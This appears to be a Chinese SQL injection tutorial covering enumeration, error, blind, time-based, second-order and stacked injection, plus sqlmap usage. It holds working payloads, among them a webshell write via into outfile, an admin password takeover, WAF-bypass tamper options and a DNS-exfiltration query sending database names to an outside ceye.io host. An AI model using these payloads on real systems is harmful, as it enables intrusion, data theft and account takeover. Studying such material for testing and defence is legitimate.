一、SQL注入前驱知识
1.1 为什么会存在SQL注入
注入产生的原因是后台服务器在接收相关参数时未做好过滤直接带入到数据库中查询,导致可以拼接执行构造的SQL语句。
1.2 SQL注入的前驱条件
- 参数可控
- 带入数据库查询(与数据库产生交互)
1.3 常规参数数据类型
数字型:传递参数为数值型。例如:select * from table_name where id = 1
字符型:传递参数为字符型。例如:select * from table_name where id = ‘1’
JSON型:根据JSON类型数据,获取相关传递值。数据内容类似于字典{key1:value,key2:value}
1.4 了解请求方法
Post
$post = $_POST['p']; //post接受参数p的值赋值给变量post echo $post;
Get
$get = $_GET['g']; //get接受参数g的值赋值给变量get echo $get;
Cookie(非请求方法,数据包中参数)
$cookie = $_COOKIE['c']; echo $cookie;
Request(全接收)
$request = $_REQUEST['r']; echo $request; // request全部接受,无论是get还是post // 因此若目标站为request方式,则无需考虑参数传递方式
Server(PHP专属,获取特定文件信息)
$Server = $_SERVER['h'] echo $Server
1.5 SQL干扰符号
在构造SQL语句时候应注意闭合问题,常见闭合干扰如下:
单引号:‘
双引号:“
百分号:%(常见于模糊查询like)
括号:)
大括号:}
二、学习案例
2.1 MySQL常规注入
2.1.1 MSQL数据库下一些特殊表名
操作系统:@@version_compile_os
数据库名:database()
数据库用户:user()
数据库版本:version()
2. 1.2 数据注入流程
1、判断是否存在注入点
老办法:
and 1=1 页面正常
and 1=2 页面错误
有时候需要进行截断后续SQL语句,常见截断(注释)方法:
- MySQL:#,–+
- Access:%00
- Oracle|MSSQL:–
可能存在注入点
2、猜列名数量(字段数)
order by x
例如:https://xiaozuh.com?id=1 and 1=2 order by [1|2|3|4|……]#
猜解到页面错误,即临界值
3、寻找回显位置
union select 1,2,3,4
例如:https://xiaozuh.com?id=1asdf union select 1,2,3,4#
观察页面回显位置
4、信息搜集
假设2,3位置能够回显
https://xiaozuh.com?id=1asdf union select 1,database(),user(),4
注意:Mysql5.0版本以上存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,相当于可以查询其它数据库表名、列名。
information_schema.tables :记录所有表名的表
information_schema.columns:记录所有列名的表
table_name:表名
table_column:列名
查询指定数据库下的表名信息: https://xiaozuh.com?id=1asdf union select 1,2,table_name,4 from information_schema.tables where information_schema = ‘指定数据库的名字’**
查询指定数据库下表下的列名: https://xiaozuh.com?id=1asdf union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name = ‘指定表的名字’
5、查询数据
https://xiaozuh.com?id=1asdf union select 1,column1,column2,4 from 表
同数据库
低版本:暴力查询结合读取查询
高版本:information_schema查询
2.1.3 高权限注入与低权限注入
高权限注入
跨库查询及应用思路
information_schema表特性,记录库名、表名、列名对应表
获取所有数据库名
xxxxx union select 1,group_concat(shecma_name),3 from information_schema.schema
获取指定数据库下表名
xxxx union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=“指定库”
获取指定表下数据库表下列名
xxxxx union select 1,group_concat(column1),3 from information.schema.columns where table_name = ‘表名’ and table_schema=‘指定库’
低权限注入
使用工具暴力跑表
2.1.4 文件读写操作
读操作:
load_file():读取函数
路径常见获取方式:
- 报错显示:有时候网站报错中会有文件路径信息
- 遗留文件:类似于PHP Info,有些遗留文件中会写有路径信息
- 平台配置文件:站点搭建配置文件中可能会存路径信息
- 爆破:借助某些工具爆破文件路径
写操作
into outfile或into dumpfile:导出函数
xxx union select 1,“一句话”,3 into outfile ‘路径’
常见写入问题
魔术引导(单引号强制转义/):magic_quotes_gpc
可以采用16进制编码绕过
内置函数:is_int 判断传参类型是否为需要类型
自定义关键字:select,相当于设置白名单
WAF防护软件:安全狗,宝塔
三、其他数据库
Access
没有存储表的库,之后表
注入该数据库只能通过小工具暴力跑表来猜解
SQL server
端口:1433
数据库后缀:.mdf
注释符号:–空格为单行注释,/**/为多行注释
三个权限级别:
- sa权限:数据库操作、文件管理、命令执行、注册表读取等system。
- db权限:文件管理、数据库操作等权限users-adiministrators
- public权限:数据库操作guest-users
// 判断当前用户权限方法 判断是否是SA权限 select is_srvrolemember('sysadmin') 判断是否是db_owner权限 select is_member('db_owner') 判断是否是public权限 select is_srvrolemember('public')
6个默认数据库
4个系统数据库
- master :master数据库控制SQL Server的所有方面。这个数据库中包括所有的配置信息、用户登录信息、当前正在服务器中运行的过程的信息。
- model :默认没有数据表。供所有来访问你的SQL Server的用户使用。这个库用来保存所有的临时表、存储过程和其他SQL Server建立的临时用的东西。
- msdb :它其实是一个用户数据库。但SQL Server拿这个数据库来存储所有的任务调度、报警、操作员。另一个功能是用来存储所有备份历史。SQL Server Agent将会使用这个库。
- tempdb :默认没有数据表。供所有来访问你的SQL Server的用户使用。这个库用来保存所有的临时表、存储过程和其他SQL Server建立的临时用的东西。
2个实例数据库
- ReportServer
- ReportServerTempDB
Oracle
与MySQL语法大致相同,结构上不同。Oracle可以调用Java代码。
端口:1521
数据库创建时会默认创建5个表空间
- SYSTEM:用于是存储系统表和管理配置等基本信息。
- SYSAUX:类似于 SYSTEM,主要存放一些系统附加信息,以便减轻 SYSTEM 的空间负担。
- UNDOTBS:用于事务回退等。
- TEMP:作为缓存空间减少内存负担。
- USERS:就是存储我们定义的表和数据。
3个权限角色
sys:相当于 Linux 下的 root 用户。为 DBA 角色
system:与 sys 类似,但是相对于 sys 用户,无法修改一些关键的系统数据,这些数据维持着数据库的正常运行。为 DBA 角色。
public:public 代指所有用户(everyone),对其操作会应用到所有用户上(实际上是所有用户都有 public 用户拥有的权限,如果将 DBA 权限给了 public,那么也就意味着所有用户都有了 DBA 权限)
注释符号:–单行注释,/**/多行注释
当前用户权限 select * from session_roles 当前数据库版本 select banner from sys.v_$version where rownum=1 服务器出口IP 用utl_http.request 可以实现 服务器监听IP select utl_inaddr.get_host_address from dual 服务器操作系统 select member from v$logfile where rownum=1 服务器sid select instance_name from v$instance 当前连接用户 select SYS_CONTEXT (‘USERENV’, ‘CURRENT_USER’) from dual 当前用户 SELECT user FROM dual 列出所有用户 SELECT username FROM all_users ORDER BY username 列出数据库 SELECT DISTINCT owner FROM all_tables 列出表名: SELECT table_name FROM all_tables 定位文件 SELECT name FROM V$DATAFILE
四、注入姿势
4.1 报错注入
在mysql(大于5.1版本)中添加了对XML文档进行查询和修改的函数:
updatexml()
updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
updatexml(XML_document,XPath_string,new_value)
第一个参数:是string格式,为XML文档对象的名称;
第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】
第三个参数:string格式,替换查找到的符合条件的数据
当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)。
例如:select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。
extractvalue()
从目标XML中返回包含所查询值的字符串。
extractvalue(XML_document,xpath_string)
第一个参数:string格式,为XML文档对象的名称。
第二个参数:xpath_string(xpath格式的字符串) 。
例如:select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))),由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。
floor()
原理:利用select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;导致数据库报错,通过concat函数连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。
4.2 布尔盲注
常用函数:
- length() : 返回字符串的长度,例如可以返回数据库名字的长度
- substr() : ⽤来截取字符串 ascii() 返回字符的ascii码
- sleep(n): 将程序挂起⼀段时间,n为n秒
- if(expr1,expr2,expr3) : 判断语句 如果第⼀个语句正确就执⾏第⼆个语句如果错误执行第三个语句
布尔盲注不适用于手工注入,可用于判断注入点是否存在,因此不做过多介绍。
4.3 时间盲注
一般结合布尔盲注使用,某些布尔盲注无True/False返回情况,可结合增加延时进行判断注入是否成功。
例如:id=1’ and If(length(database()) > 1,1,sleep(5))–+
if函数中,判断database()返回的结果的长度是否>1,若返回结果为True,则执行第二个语句1,恒真;执行第三个语句,sleep(5),此时页面会等待5s,我们可以通过sleep函数是否成功执行来判断SQL语句是否注入成功。
4.4 二次注入
二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
原理:
在第一次进行数据库插入数据的时候,我们构造的特殊字符进行了转义,但在存入数据库时还是原来的数据,数据中一般带有单引号和#号,然后下次使用在拼凑SQL中,所以就形成了二次注入。
例如:
- 插入1’#
- 转义变成1’#
- 注入失败,但保存在数据库中的数据还是1’#
- 从数据库中取出1’#,重新构造语句进行注入
必备条件:
(1)用户向数据库插入恶意语句
(2)插入的数据可取出,且取出不做转义案例:
正常来说无法通过注入来登录admin,因为用户输入会被转义
注册admin ‘#
登录admin ‘# 转义成admin\’#,但登录后的还是admin’#
修改admin ‘# 由于这里不会被转义,故可以直接利用,这个时候就变成了修改了admin的密码,语句如下:
// 更新密码语句 update users set password = '$pass' where username = '$username' and password = '$pass'; // 执行语句如下 update users set password = '123' where username = 'admin' |#' and password = '123' 由于注释符号,后面的语句被注释,直接判断条件变成了username = 'admin'从而造成admin账户的密码被修改。
4.5 DNS注入
在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被WAF拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功。遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\www.test.com这样的URL发起请求。
必备条件:
- SQL服务器能连接网络
- 开启了LOAD_FILE() 读取文件的函数
案例:
// 查询当前数据库 // load_file(concat("\\\",查询语句,"DNS地址")) id=1'and load_file(concat("\\\\",database(),".913n8.ceye.io"))--+ // 查询其他数据库 // 由于dns解析只能显示单行,因此在查询的时候做好输出条数限制 id=1'and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".913n8.ceye.io"))--+
4.6 堆叠注入
原理很简单,mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句,例如:
select * from users;show databases;
即会执行select * from users,又会执行show databases。
虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行。
但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限。
五、sqlmap使用
5.1 常见用法
-u: 后面跟需要测试的URL,通常是GET类型注入的必备参数。
python sqlmap.py -u "http://192.168.123.21?id=1"
-dbms: 指定数据库类型。
python sqlmap.py -u "http://192.168.123.21?id=1" --dbms=MySQL
–flush-session: 清除当前目标的会话文件。
python sqlmap.py -u "http://192.168.123.21?id=1" --flush-session
–level: 指定payload测试复杂等级。从1-5,默认值为1等级越高,测试的payload越复杂。
python sqlmap.py -u "http://192.168.123.21?id=1" --level 2
–random-agent: 指定随机选择请求头中的User-Agent。不再使用默认User-Agent,随机使用User-Agent。
python sqlmap.py -u "http://192.168.123.21?id=1" --random-agent
–user-agent: 可指定自定义User-Agent
python sqlmap.py -u "http://192.168.123.21?id=1" --user-agent="自定义User-Agent"
–tamper: 可以在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击。 sqlmap提供了部分篡改脚本,存放在sqlmap项目路径/tamper/文件夹中,也可以自己编写篡改脚本实现自定义的绕过。
python sqlmap.py -u "http://192.168.123.21?id=1" --tamper 脚本路径1,脚本路径2...
–technique: 可用于指定要测试的SQL注入类型,默认情况下,sqlmap会测试所有的注入类型。
备注:注入类型对应的参数
python sqlmap.py -u "http://192.168.123.21?id=1" --technique 注入类型选项(可多种组合)
- B:基于布尔的盲注
- E:基于错误
- U:基于联合查询
- S:堆叠查询
- T:基于时间的盲注
- Q:内联查询
-D: 选择使用哪个数据库
-T: 选择使用哪个表
-C: 选择使用哪个列
–dbs: 获取库
–tables: 获取表
–dump: 获取字段中的数据
–batch: 自动选择yes